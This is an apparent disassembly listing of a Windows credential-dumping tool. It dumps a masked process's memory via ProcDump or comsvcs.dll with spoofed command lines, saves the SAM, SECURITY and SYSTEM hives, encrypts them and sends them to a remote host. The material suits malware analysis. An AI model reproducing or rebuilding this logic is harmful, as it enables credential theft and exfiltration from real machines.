Function at 0x140004030
Capabilities:
Get common file path
Terminate process

Disassembly:
jmp 0x140004030
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rsi
push rdi
mov eax, 0x3db0
call fcn.140001087
sub rsp, rax
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0xddc
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x3dd8]
lea rcx, [0x1400973cb]
call fcn.1400012c1
call fcn.1400010eb
test eax, eax
jne 0x140004091
lea rcx, str.____hehe_
call fcn.14000115e
mov eax, 0xffffffff
jmp 0x14000582f
xor ecx, ecx
call fcn.140006050
mov ecx, eax
call qword [sym.imp.ucrtbased.dll_srand]
mov dword [rbp + 4], 0
mov qword [rbp + 0x11d8], 0
mov qword [rbp + 0x11f8], 0
mov qword [rbp + 0x1218], 0
mov qword [rbp + 0x1238], 0
mov qword [rbp + 0x1258], 0
mov dword [rbp + 0x1274], 0
mov dword [rbp + 0x1294], 0
mov dword [rbp + 0x12b4], 0
mov dword [rbp + 0x12d4], 0
mov dword [rbp + 0x12f4], 0
mov r8, qword [rbp + 0x3d98]
mov edx, dword [rbp + 0x3d90]
lea rcx, [rbp + 0x3d28]
call fcn.140001253
lea rcx, [rbp + 0x1318]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x38
rep movsb byte [rdi], byte [rsi]
cmp dword [rbp + 0x134c], 0
je 0x14000415c
mov dword [rbp + 0x1364], 0xbb8
mov dword [rbp + 0x1384], 0xea60
jmp 0x140004170
mov dword [rbp + 0x1364], 0x3e8
mov dword [rbp + 0x1384], 0x2710
mov r9d, socket
mov r8d, 0x20
lea rdx, [0x14007df88]
lea rcx, section..data
call fcn.14000113b
xor r8d, r8d
lea rdx, [rbp + 4]
lea rcx, [0x14007df88]
call fcn.14000129e
test eax, eax
jne 0x1400041c3
lea rdx, [0x14007df88]
lea rcx, str.____Cound_Not_Get__ss_PID__n
call fcn.140001014
mov eax, 0xffffffff
jmp 0x14000582f
mov r8d, dword [rbp + 4]
lea rdx, [0x14007df88]
lea rcx, str.___Found___s____Of_PID_:__d__n
call fcn.140001014
lea rdx, [rbp + 0x570]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
jne 0x14000420e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____GetTempPathW_Failed_With_Error_:__d__n
call fcn.14000115e
mov eax, 0xffffffff
jmp 0x14000582f
xor ecx, ecx
call fcn.140006050
mov qword [rbp + 0x13a8], rax
lea rcx, [rbp + 0x13a8]
call fcn.140003fe0
mov qword [rbp + 0x13c8], rax
mov r9, qword [rbp + 0x13c8]
lea r8, str.debug_file_process_info__Y_m_d__H_M_S.dmp
mov edx, 0x100
lea rcx, [rbp + 0x7a0]
call qword [sym.imp.ucrtbased.dll_wcsftime]
cmp dword [rbp + 0x1340], 0
je 0x14000435b
mov r9d, send
mov r8d, 0x20
lea rdx, [0x140016020]
lea rcx, section..data
call fcn.14000113b
mov r9d, 0xe2
mov r8d, 0x20
lea rdx, [0x140016030]
lea rcx, section..data
call fcn.14000113b
mov rax, qword [rbp + 0x1328]
mov qword [rsp + 0x30], rax
mov eax, dword [rbp + 4]
mov dword [rsp + 0x28], eax
lea rax, [0x140016020]
mov qword [rsp + 0x20], rax
mov r9, qword [rbp + 0x1318]
lea r8, str._s__s__d__o__s
mov edx, 0x100
lea rcx, [rbp + 0x30]
call fcn.1400011ef
lea r9, [rbp + 0x30]
lea r8, [0x140012a0c]
mov edx, 0x200
lea rcx, [rbp + 0x150]
call fcn.1400010f5
mov rcx, qword [rbp + 0x1318]
call sub.ucrtbased.dll_strlen
mov rdx, rax
mov rcx, qword [rbp + 0x1318]
call fcn.14000106e
mov qword [rbp + 0x11d8], rax
lea rax, [rbp + 0x7a0]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0x570]
mov qword [rsp + 0x28], rax
lea rax, [0x140016030]
mov qword [rsp + 0x20], rax
mov r9, qword [rbp + 0x11d8]
lea r8, str._ls__ls__ls_ls
mov edx, 0x400
lea rcx, [rbp + 0x9c0]
call fcn.1400010f5
jmp 0x140004411
mov r9d, 0x94
mov r8d, 0x20
lea rdx, [0x140016120]
lea rcx, section..data
call fcn.14000113b
mov r9d, 0x11e
mov r8d, 0x20
lea rdx, [0x1400161c0]
lea rcx, section..data
call fcn.14000113b
mov rax, qword [rbp + 0x1328]
mov qword [rsp + 0x20], rax
mov r9d, dword [rbp + 4]
lea r8, str._d__s_full
mov edx, 0x100
lea rcx, [rbp + 0x30]
call fcn.1400011ef
lea rax, [rbp + 0x30]
mov qword [rsp + 0x20], rax
lea r9, [0x140016120]
lea r8, str._ls__S
mov edx, 0x200
lea rcx, [rbp + 0x150]
call fcn.1400010f5
lea rax, [rbp + 0x7a0]
mov qword [rsp + 0x20], rax
lea r9, [0x1400161c0]
lea r8, str._ls_ls
mov edx, 0x400
lea rcx, [rbp + 0x9c0]
call fcn.1400010f5
cmp dword [rbp + 0x133c], 0
je 0x140004440
lea rdx, [rbp + 0x150]
lea rcx, str._i__Real_Command:__s_n
call fcn.140001014
lea rdx, [rbp + 0x9c0]
lea rcx, str._i__Dummy_Command:__s_n_n
call fcn.140001014
lea rcx, [rbp + 0x150]
call qword [sym.imp.ucrtbased.dll_wcslen]
mov qword [rbp + 0x3d68], rax
lea rcx, [rbp + 0x9c0]
call qword [sym.imp.ucrtbased.dll_wcslen]
mov rcx, qword [rbp + 0x3d68]
cmp rcx, rax
jbe 0x14000447e
lea rcx, str.____Real_Command_Cannot_Be_Longer_Than_Dummy_Command__n
call fcn.14000115e
jmp 0x1400056f0
mov qword [rbp + 0x13e8], 0
mov qword [rbp + 0x1408], 0
mov dword [rbp + 0x1424], 0
mov dword [rbp + 0x1444], 0
cmp dword [rbp + 0x1340], 0
je 0x1400044f4
lea rcx, str._i__Dumping_hehe_Using_ProcDump..._n
call fcn.14000115e
mov r9d, dword [rbp + 0x133c]
mov r8, qword [rbp + 0x1318]
mov edx, 0x67b98
lea rcx, [0x1400163f0]
call fcn.140001299
mov rcx, qword [rbp + 0x11d8]
call qword [sym.imp.ucrtbased.dll_wcslen]
shl rax, 1
mov dword [rbp + 0x1444], eax
jmp 0x14000450a
lea rcx, str._i__Dumping_hehe_Using_comsvcs.dll..._n
call fcn.14000115e
mov dword [rbp + 0x1444], 0x40
cmp dword [rbp + 0x1344], 0
je 0x14000456f
lea rax, [rbp + 0x1408]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0x13e8]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x1424]
mov qword [rsp + 0x20], rax
mov r9d, dword [rbp + 0x133c]
mov r8d, dword [rbp + 0x1444]
lea rdx, [rbp + 0x9c0]
lea rcx, [rbp + 0x9c0]
call fcn.1400010d7
test eax, eax
jne 0x14000456d
lea rcx, str.____Failed_to_Create_Process_to_Dump_hehe_
call fcn.14000115e
jmp 0x1400056f0
jmp 0x1400045c9
lea rax, [rbp + 0x1408]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0x13e8]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x1424]
mov qword [rsp + 0x20], rax
mov r9d, dword [rbp + 0x133c]
mov r8d, dword [rbp + 0x1444]
lea rdx, [rbp + 0x150]
lea rcx, [rbp + 0x9c0]
call fcn.1400010d7
test eax, eax
jne 0x1400045c9
lea rcx, str.____Failed_to_Create_Process_to_Dump_hehe_
call fcn.14000115e
jmp 0x1400056f0
cmp dword [rbp + 0x133c], 0
je 0x1400045de
lea rcx, str._i__Reading_Dump_File_and_Zeroing_Bytes..._n
call fcn.14000115e
cmp dword [rbp + 0x1340], 0
je 0x1400045f2
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rbp + 0x1464], 0
jmp 0x14000460c
mov eax, dword [rbp + 0x1464]
inc eax
mov dword [rbp + 0x1464], eax
cmp dword [rbp + 0x1464], 0x186a0
jge 0x140004631
mov edx, 6
mov rcx, qword [rbp + 0x1328]
call fcn.1400012a3
test eax, eax
je 0x14000462f
jmp 0x140004631
jmp 0x1400045fe
cmp dword [rbp + 0x133c], 0
je 0x14000464c
mov edx, dword [rbp + 0x1464]
lea rcx, str._i__Retry_Count:__d_n
call fcn.14000115e
cmp dword [rbp + 0x1464], 0x186a0
jne 0x140004725
lea rcx, str.____Failed_to_Locate_hehe_Dump_File__n
call fcn.14000115e
mov dword [rbp + 0x1484], 0
lea rdx, [rbp + 0x1484]
lea rcx, [0x14007df88]
call fcn.140001023
mov qword [rbp + 0x14a8], rax
cmp qword [rbp + 0x14a8], 0
jne 0x1400046ad
cmp dword [rbp + 0x133c], 0
je 0x1400046ab
lea rcx, str._i__hehe_is_Running__Continuing..._n
call fcn.14000115e
jmp 0x1400046df
lea rcx, str._i__hehe_is_Suspended__Resuming_Threads..._n
call fcn.14000115e
mov r8d, dword [rbp + 0x133c]
mov edx, dword [rbp + 0x1484]
mov rcx, qword [rbp + 0x14a8]
call fcn.1400012b7
mov rcx, qword [rbp + 0x14a8]
call qword [sym.imp.ucrtbased.dll_free]
cmp dword [rbp + 0x1344], 0
jne 0x140004710
cmp dword [rbp + 0x12f4], 3
jge 0x140004710
lea rcx, str._n_i__Trying_to_Dump_hehe_Again..._n
call fcn.14000115e
mov eax, dword [rbp + 0x12f4]
inc eax
mov dword [rbp + 0x12f4], eax
jmp 0x14000450a
cmp dword [rbp + 0x1348], 0
je 0x140004720
jmp 0x140004871
jmp 0x1400056f0
lea r8, [rbp + 0x1274]
lea rdx, [rbp + 0x1258]
mov rcx, qword [rbp + 0x1328]
call fcn.140001041
test eax, eax
je 0x14000476c
mov eax, dword [rbp + 0x1274]
cvtsi2sd xmm0, rax
divsd xmm0, qword [0x14000ff90]
movaps xmm1, xmm0
movq rdx, xmm1
lea rcx, str.___hehe_Dump_Read:__.2f_MB_n_n
call fcn.14000115e
jmp 0x14000477d
lea rcx, str.____Unable_to_Read_hehe_Dump
call fcn.14000115e
jmp 0x1400056f0
mov edx, 0x40
lea rcx, [rbp + 0x14d0]
call fcn.140001069
mov r8d, 0x40
lea rdx, [rbp + 0x14d0]
lea rcx, [rbp + 0x1530]
call sub.VCRUNTIME140D.dll_memcpy
mov r9d, dword [rbp + 0x1274]
mov r8d, 0x40
mov rdx, qword [rbp + 0x1258]
lea rcx, [rbp + 0x14d0]
call fcn.14000113b
test eax, eax
jne 0x1400047d0
jmp 0x1400056f0
lea rcx, str._i__Cleaning_up_local_files..._n
call fcn.14000115e
mov edx, 1
mov rcx, qword [rbp + 0x1328]
call fcn.140001230
cmp dword [rbp + 0x1340], 0
je 0x14000485b
mov dword [rbp + 0x1464], 0
jmp 0x140004810
mov eax, dword [rbp + 0x1464]
inc eax
mov dword [rbp + 0x1464], eax
cmp dword [rbp + 0x1464], 0x14
jge 0x14000483f
mov edx, 1
mov rcx, qword [rbp + 0x1318]
call fcn.140001230
test eax, eax
je 0x140004832
jmp 0x14000483f
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140004802
cmp dword [rbp + 0x1464], 0x14
jne 0x14000485b
mov rdx, qword [rbp + 0x1318]
lea rcx, str.____Failed_to_Delete__s_n
call fcn.14000115e
lea rcx, [0x140010f94]
call fcn.14000115e
mov dword [rbp + 0x1444], 0x36
cmp dword [rbp + 0x1348], 0
je 0x140004e6d
lea rcx, str._i__Dumping_Registry_Hives..._n
call fcn.14000115e
mov qword [rbp + 0x2c88], 0
mov r9d, 0x4e
mov r8d, 0x20
lea rdx, [0x1400162e0]
lea rcx, section..data
call fcn.14000113b
mov r9d, 0xc0
mov r8d, 0x20
lea rdx, [0x140016330]
lea rcx, section..data
call fcn.14000113b
mov r9, qword [rbp + 0x13c8]
lea r8, str.registry_debug_info__Y_m_d__H_M_S.data
mov edx, 0x100
lea rcx, [rbp + 0x7a0]
call qword [sym.imp.ucrtbased.dll_wcsftime]
lea rax, [rbp + 0x7a0]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x570]
mov qword [rsp + 0x20], rax
lea r9, [0x140016330]
lea r8, str._ls__ls_ls
mov edx, 0x400
lea rcx, [rbp + 0x1590]
call fcn.1400010f5
mov edx, 6
lea rcx, [rbp + 0x2a28]
call fcn.1400011a4
lea rax, [rbp + 0x2a28]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x570]
lea r8, str._ls_ls
mov edx, 0x104
lea rcx, [rbp + 0x2a60]
call fcn.1400010f5
lea rcx, [rbp + 0x2a60]
call qword [sym.imp.ucrtbased.dll_wcslen]
mov rdx, rax
lea rcx, [rbp + 0x2a60]
call fcn.1400012a8
mov qword [rbp + 0x2c88], rax
lea rax, [rbp + 0x2a60]
mov qword [rsp + 0x20], rax
lea r9, [0x1400162e0]
lea r8, str._lsSAM__ls
mov edx, 0x200
lea rcx, [rbp + 0x1db0]
call fcn.1400010f5
lea rax, [rbp + 0x2a60]
mov qword [rsp + 0x20], rax
lea r9, [0x1400162e0]
lea r8, str._lsSECURITY__ls
mov edx, 0x200
lea rcx, [rbp + 0x21d0]
call fcn.1400010f5
lea rax, [rbp + 0x2a60]
mov qword [rsp + 0x20], rax
lea r9, [0x1400162e0]
lea r8, str._lsSYSTEM__ls
mov edx, 0x209
lea rcx, [rbp + 0x25f0]
call fcn.1400010f5
cmp dword [rbp + 0x133c], 0
je 0x140004a5f
lea rdx, [rbp + 0x1db0]
lea rcx, str._i__Real_Reg_Commands:_t_s_n
call fcn.140001014
lea rdx, [rbp + 0x21d0]
lea rcx, str._t_t_t_s_n
call fcn.140001014
lea rdx, [rbp + 0x25f0]
lea rcx, str._t_t_t_s_n
call fcn.140001014
lea rdx, [rbp + 0x1590]
lea rcx, str._i__Dummy_Reg_Commands:__s_n_n
call fcn.140001014
lea rax, [rbp + 0x1408]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0x13e8]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x1424]
mov qword [rsp + 0x20], rax
mov r9d, dword [rbp + 0x133c]
mov r8d, dword [rbp + 0x1444]
lea rdx, [rbp + 0x1db0]
lea rcx, [rbp + 0x1590]
call fcn.1400010d7
test eax, eax
jne 0x140004aca
lea rcx, str.____Failed_to_Create_Process_to_Dump_SAM_n
call fcn.14000115e
cmp qword [rbp + 0x1258], 0
jne 0x140004ac5
jmp 0x1400056f0
jmp 0x140004e6d
mov dword [rbp + 0x1464], 0
jmp 0x140004ae4
mov eax, dword [rbp + 0x1464]
inc eax
mov dword [rbp + 0x1464], eax
cmp dword [rbp + 0x1464], 0x14
jge 0x140004b41
lea r8, [rbp + 0x1294]
lea rdx, [rbp + 0x11f8]
mov rcx, qword [rbp + 0x2c88]
call fcn.140001041
test eax, eax
je 0x140004b34
mov eax, dword [rbp + 0x1294]
cvtsi2sd xmm0, rax
divsd xmm0, qword [0x14000ff90]
movaps xmm1, xmm0
movq rdx, xmm1
lea rcx, str.___SAM_Save_Read:__.2f_MB_n
call fcn.14000115e
jmp 0x140004b41
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140004ad6
cmp dword [rbp + 0x1464], 0x14
jne 0x140004b6c
lea rcx, str.____Unable_to_Read_SAM_Save_n
call fcn.14000115e
cmp qword [rbp + 0x1258], 0
jne 0x140004b67
jmp 0x1400056f0
jmp 0x140004e6d
mov r9d, dword [rbp + 0x1294]
mov r8d, 0x40
mov rdx, qword [rbp + 0x11f8]
lea rcx, [rbp + 0x14d0]
call fcn.14000113b
test eax, eax
jne 0x140004ba6
cmp qword [rbp + 0x1258], 0
jne 0x140004ba1
jmp 0x1400056f0
jmp 0x140004e6d
mov edx, 1
mov rcx, qword [rbp + 0x2c88]
call fcn.140001230
lea rax, [rbp + 0x1408]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0x13e8]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x1424]
mov qword [rsp + 0x20], rax
mov r9d, dword [rbp + 0x133c]
mov r8d, dword [rbp + 0x1444]
lea rdx, [rbp + 0x21d0]
lea rcx, [rbp + 0x1590]
call fcn.1400010d7
test eax, eax
jne 0x140004c22
lea rcx, str.____Failed_to_Create_Process_to_Dump_SECURITY_n
call fcn.14000115e
cmp qword [rbp + 0x1258], 0
jne 0x140004c1d
jmp 0x1400056f0
jmp 0x140004e6d
mov dword [rbp + 0x1464], 0
jmp 0x140004c3c
mov eax, dword [rbp + 0x1464]
inc eax
mov dword [rbp + 0x1464], eax
cmp dword [rbp + 0x1464], 0x14
jge 0x140004c99
lea r8, [rbp + 0x12b4]
lea rdx, [rbp + 0x1218]
mov rcx, qword [rbp + 0x2c88]
call fcn.140001041
test eax, eax
je 0x140004c8c
mov eax, dword [rbp + 0x12b4]
cvtsi2sd xmm0, rax
divsd xmm0, qword [0x14000ff90]
movaps xmm1, xmm0
movq rdx, xmm1
lea rcx, str.___SECURITY_Save_Read:__.2f_MB_n
call fcn.14000115e
jmp 0x140004c99
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140004c2e
cmp dword [rbp + 0x1464], 0x14
jne 0x140004cc4
lea rcx, str.____Unable_to_Read_SECURITY_Save_n
call fcn.14000115e
cmp qword [rbp + 0x1258], 0
jne 0x140004cbf
jmp 0x1400056f0
jmp 0x140004e6d
mov r9d, dword [rbp + 0x12b4]
mov r8d, 0x40
mov rdx, qword [rbp + 0x1218]
lea rcx, [rbp + 0x14d0]
call fcn.14000113b
test eax, eax
jne 0x140004cfe
cmp qword [rbp + 0x1258], 0
jne 0x140004cf9
jmp 0x1400056f0
jmp 0x140004e6d
mov edx, 1
mov rcx, qword [rbp + 0x2c88]
call fcn.140001230
lea rax, [rbp + 0x1408]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0x13e8]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x1424]
mov qword [rsp + 0x20], rax
mov r9d, dword [rbp + 0x133c]
mov r8d, dword [rbp + 0x1444]
lea rdx, [rbp + 0x25f0]
lea rcx, [rbp + 0x1590]
call fcn.1400010d7
test eax, eax
jne 0x140004d7a
lea rcx, str.____Failed_to_Create_Process_to_Dump_SYSTEM_n
call fcn.14000115e
cmp qword [rbp + 0x1258], 0
jne 0x140004d75
jmp 0x1400056f0
jmp 0x140004e6d
mov dword [rbp + 0x1464], 0
jmp 0x140004d94
mov eax, dword [rbp + 0x1464]
inc eax
mov dword [rbp + 0x1464], eax
cmp dword [rbp + 0x1464], 0x14
jge 0x140004df1
lea r8, [rbp + 0x12d4]
lea rdx, [rbp + 0x1238]
mov rcx, qword [rbp + 0x2c88]
call fcn.140001041
test eax, eax
je 0x140004de4
mov eax, dword [rbp + 0x12d4]
cvtsi2sd xmm0, rax
divsd xmm0, qword [0x14000ff90]
movaps xmm1, xmm0
movq rdx, xmm1
lea rcx, str.___SYSTEM_Save_Read:__.2f_MB_n
call fcn.14000115e
jmp 0x140004df1
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140004d86
cmp dword [rbp + 0x1464], 0x14
jne 0x140004e19
lea rcx, str.____Unable_to_Read_SYSTEM_Save_n
call fcn.14000115e
cmp qword [rbp + 0x1258], 0
jne 0x140004e17
jmp 0x1400056f0
jmp 0x140004e6d
mov r9d, dword [rbp + 0x12d4]
mov r8d, 0x40
mov rdx, qword [rbp + 0x1238]
lea rcx, [rbp + 0x14d0]
call fcn.14000113b
test eax, eax
jne 0x140004e50
cmp qword [rbp + 0x1258], 0
jne 0x140004e4e
jmp 0x1400056f0
jmp 0x140004e6d
mov edx, 1
mov rcx, qword [rbp + 0x2c88]
call fcn.140001230
lea rcx, [0x140010f94]
call fcn.14000115e
cmp dword [rbp + 0x1338], 0
je 0x140004fcb
lea rcx, str._i__Local_Mode_Selected._Writing_Encrypted_File_s__to_Disk..._n
call fcn.14000115e
cmp qword [rbp + 0x1258], 0
je 0x140004eb1
mov eax, dword [rbp + 0x1274]
mov r9d, 1
mov r8, qword [rbp + 0x1320]
mov edx, eax
mov rcx, qword [rbp + 0x1258]
call fcn.140001299
cmp qword [rbp + 0x11f8], 0
je 0x140004fb5
cmp qword [rbp + 0x1218], 0
je 0x140004fb5
cmp qword [rbp + 0x1238], 0
je 0x140004fb5
mov edx, 0x104
lea rcx, [rbp + 0x2cb0]
call sub.ucrtbased.dll__getcwd
cdqe
test rax, rax
jne 0x140004f04
lea rcx, str.____Unable_to_Get_Current_Directory_
call fcn.14000115e
jmp 0x140004fb5
lea r8, [rbp + 0x2cb0]
lea rdx, str._s_sam.dat
lea rcx, [rbp + 0x2de0]
call fcn.14000128a
lea r8, [rbp + 0x2cb0]
lea rdx, str._s_security.dat
lea rcx, [rbp + 0x2f10]
call fcn.14000128a
lea r8, [rbp + 0x2cb0]
lea rdx, str._s_system.dat
lea rcx, [rbp + 0x3040]
call fcn.14000128a
mov eax, dword [rbp + 0x1294]
mov r9d, 1
lea r8, [rbp + 0x2de0]
mov edx, eax
mov rcx, qword [rbp + 0x11f8]
call fcn.140001299
mov eax, dword [rbp + 0x12b4]
mov r9d, 1
lea r8, [rbp + 0x2f10]
mov edx, eax
mov rcx, qword [rbp + 0x1218]
call fcn.140001299
mov eax, dword [rbp + 0x12d4]
mov r9d, 1
lea r8, [rbp + 0x3040]
mov edx, eax
mov rcx, qword [rbp + 0x1238]
call fcn.140001299
mov edx, 0x40
lea rcx, [rbp + 0x14d0]
call fcn.140001172
jmp 0x1400054ee
lea rcx, str._i__Remote_Mode_Selected_n
call fcn.14000115e
lea r9, [rbp + 0x31b8]
lea r8, [rbp + 0x3194]
lea rdx, [rbp + 0x3168]
mov rcx, qword [rbp + 0x1330]
call fcn.1400010b4
test eax, eax
je 0x14000501a
cmp dword [rbp + 0x133c], 0
je 0x140005018
mov rdx, qword [rbp + 0x31b8]
lea rcx, str._i__Encrypting_key_with:__llu_n
call fcn.14000115e
jmp 0x14000505d
lea rcx, str.____Failed_to_Parse_IP_and_Port__Saving_Locally_Instead._n
call fcn.14000115e
mov eax, dword [rbp + 0x1274]
mov r9d, 1
mov r8, qword [rbp + 0x1320]
mov edx, eax
mov rcx, qword [rbp + 0x1258]
call fcn.140001299
mov edx, 0x40
lea rcx, [rbp + 0x14d0]
call fcn.140001172
jmp 0x1400056f0
mov r9d, 0x40
mov r8d, 8
lea rdx, [rbp + 0x1530]
lea rcx, [rbp + 0x31b8]
call fcn.14000113b
test eax, eax
jne 0x140005085
jmp 0x1400056f0
cmp qword [rbp + 0x1258], 0
je 0x1400050c0
cmp qword [rbp + 0x11f8], 0
je 0x1400050c0
cmp qword [rbp + 0x1218], 0
je 0x1400050c0
cmp qword [rbp + 0x1238], 0
je 0x1400050c0
mov eax, 1
imul rax, rax, 0
mov byte [rbp + rax + 0x31e0], 0
jmp 0x14000510c
cmp qword [rbp + 0x1258], 0
je 0x1400050dd
mov eax, 1
imul rax, rax, 0
mov byte [rbp + rax + 0x31e0], 1
jmp 0x14000510c
cmp qword [rbp + 0x11f8], 0
je 0x14000510c
cmp qword [rbp + 0x1218], 0
je 0x14000510c
cmp qword [rbp + 0x1238], 0
je 0x14000510c
mov eax, 1
imul rax, rax, 0
mov byte [rbp + rax + 0x31e0], 2
lea rax, [rbp + 0x31e1]
mov r8d, 0x40
lea rdx, [rbp + 0x1530]
mov rcx, rax
call sub.VCRUNTIME140D.dll_memcpy
mov r8d, dword [rbp + 0x3194]
lea rdx, [rbp + 0x3168]
lea rcx, str._i__Connecting_to__s:_d_n
call fcn.14000115e
lea rcx, str._i__Sending_Encrypted_Key..._n
call fcn.14000115e
mov dword [rbp + 0x1464], 0
jmp 0x140005168
mov eax, dword [rbp + 0x1464]
inc eax
mov dword [rbp + 0x1464], eax
cmp dword [rbp + 0x1464], 3
jge 0x1400051af
mov r9d, 0x41
lea r8, [rbp + 0x31e0]
mov edx, dword [rbp + 0x3194]
lea rcx, [rbp + 0x3168]
call fcn.14000104b
test eax, eax
je 0x140005196
jmp 0x1400051af
lea rcx, str._i__Retrying..._n
call fcn.14000115e
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x14000515a
cmp dword [rbp + 0x1464], 3
jne 0x1400051c9
lea rcx, str.____Failed_to_Transfer_Key__Saving_Locally_Instead._n
call fcn.14000115e
jmp 0x1400055b0
cmp qword [rbp + 0x11f8], 0
je 0x1400053af
cmp qword [rbp + 0x1218], 0
je 0x1400053af
cmp qword [rbp + 0x1238], 0
je 0x1400053af
lea rcx, str._i__Sending_Encrypted_SAM_Save..._n
call fcn.14000115e
mov ecx, dword [rbp + 0x1364]
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rbp + 0x1464], 0
jmp 0x140005225
mov eax, dword [rbp + 0x1464]
inc eax
mov dword [rbp + 0x1464], eax
cmp dword [rbp + 0x1464], 3
jge 0x14000526d
mov r9d, dword [rbp + 0x1294]
mov r8, qword [rbp + 0x11f8]
mov edx, dword [rbp + 0x3194]
lea rcx, [rbp + 0x3168]
call fcn.14000104b
test eax, eax
je 0x140005254
jmp 0x14000526d
lea rcx, str._i__Retrying..._n
call fcn.14000115e
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140005217
cmp dword [rbp + 0x1464], 3
jne 0x140005287
lea rcx, str.____Failed_to_Transfer_SAM_Save__Saving_Locally_Instead._n
call fcn.14000115e
jmp 0x1400055b0
lea rcx, str._i__Sending_Encrypted_SECURITY_Save..._n
call fcn.14000115e
mov ecx, dword [rbp + 0x1364]
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rbp + 0x1464], 0
jmp 0x1400052b9
mov eax, dword [rbp + 0x1464]
inc eax
mov dword [rbp + 0x1464], eax
cmp dword [rbp + 0x1464], 3
jge 0x140005301
mov r9d, dword [rbp + 0x12b4]
mov r8, qword [rbp + 0x1218]
mov edx, dword [rbp + 0x3194]
lea rcx, [rbp + 0x3168]
call fcn.14000104b
test eax, eax
je 0x1400052e8
jmp 0x140005301
lea rcx, str._i__Retrying..._n
call fcn.14000115e
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1400052ab
cmp dword [rbp + 0x1464], 3
jne 0x14000531b
lea rcx, str.____Failed_to_Transfer_SECURITY_Save__Saving_Locally_Instead._n
call fcn.14000115e
jmp 0x1400055b0
lea rcx, str._i__Sending_Encrypted_SYSTEM_Save..._n
call fcn.14000115e
mov ecx, dword [rbp + 0x1364]
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rbp + 0x1464], 0
jmp 0x14000534d
mov eax, dword [rbp + 0x1464]
inc eax
mov dword [rbp + 0x1464], eax
cmp dword [rbp + 0x1464], 3
jge 0x140005395
mov r9d, dword [rbp + 0x12d4]
mov r8, qword [rbp + 0x1238]
mov edx, dword [rbp + 0x3194]
lea rcx, [rbp + 0x3168]
call fcn.14000104b
test eax, eax
je 0x14000537c
jmp 0x140005395
lea rcx, str._i__Retrying..._n
call fcn.14000115e
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x14000533f
cmp dword [rbp + 0x1464], 3
jne 0x1400053af
lea rcx, str.____Failed_to_Transfer_SYSTEM_Save__Saving_Locally_Instead._n
call fcn.14000115e
jmp 0x1400055b0
cmp qword [rbp + 0x1258], 0
je 0x1400054ee
cmp qword [rbp + 0x11f8], 0
je 0x140005452
cmp qword [rbp + 0x1218], 0
je 0x140005452
cmp qword [rbp + 0x1238], 0
je 0x140005452
mov eax, dword [rbp + 0x1384]
cdq
mov ecx, 0x3e8
idiv ecx
mov edx, eax
lea rcx, str._i__Waiting__d_Seconds_For_Previous_Data_Transfer_to_Complete..._n
call fcn.14000115e
lea rcx, str._i__Press_Enter_to_Skip_n
call fcn.14000115e
mov dword [rbp + 0x3244], 0
call sub.ucrtbased.dll__kbhit
test eax, eax
jne 0x140005444
mov eax, dword [rbp + 0x1384]
cmp dword [rbp + 0x3244], eax
jge 0x140005444
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [rbp + 0x3244]
add eax, 0x64
mov dword [rbp + 0x3244], eax
jmp 0x140005411
call sub.ucrtbased.dll__kbhit
test eax, eax
je 0x140005452
call sub.ucrtbased.dll__getch
lea rcx, str._i__Sending_Encrypted_file..._n
call fcn.14000115e
mov ecx, 1
call qword [sym.imp.ucrtbased.dll___acrt_iob_func]
mov rcx, rax
call qword [sym.imp.ucrtbased.dll_fflush]
mov dword [rbp + 0x1464], 0
jmp 0x14000548c
mov eax, dword [rbp + 0x1464]
inc eax
mov dword [rbp + 0x1464], eax
cmp dword [rbp + 0x1464], 3
jge 0x1400054d4
mov r9d, dword [rbp + 0x1274]
mov r8, qword [rbp + 0x1258]
mov edx, dword [rbp + 0x3194]
lea rcx, [rbp + 0x3168]
call fcn.14000104b
test eax, eax
je 0x1400054bb
jmp 0x1400054d4
lea rcx, str._i__Retrying..._n
call fcn.14000115e
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x14000547e
cmp dword [rbp + 0x1464], 3
jne 0x1400054ee
lea rcx, str.____Failed_to_Transfer_hehe_Dump__Saving_Locally_Instead._n
call fcn.14000115e
jmp 0x1400055b0
cmp qword [rbp + 0x1258], 0
je 0x140005510
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rbp + 0x1258]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp qword [rbp + 0x11f8], 0
je 0x140005532
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
